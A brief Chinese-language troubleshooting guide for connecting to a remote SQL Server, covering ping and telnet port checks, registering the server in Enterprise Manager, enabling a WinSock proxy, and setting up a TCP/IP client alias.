  连接超时改为0

  1、先保证ping通

  2、在dos下写入telnet ip 1433不会报错

  3、用ip连如企业管理器:

  企业管理器–>右键SQlserver组–>新建sqlserver注册–>下一步–>写入远程实例名 (IP,机器名)–>下一步–>选Sqlserver登陆–>下一步–>写入登陆名与密码(sa,pass)– >下一步–>下一步–>完成

  4、如果还不行:

  sqlserver服务器–>开始菜单–>SQLserver–>服务器网络实用工具–>启用 WinSock代理–>代理地址:(sqlserver服务器IP)–>代理端口–>1433–>OK了

  5、如果还不行:

  sqlserver客户端–>开始菜单–>SQLserver–>客户端网络实用工具–>别名–>添加–>写入别名如"大力"–>"网络库"选tcp/ip–>服务器名称写入远程ip或实例名–>OK了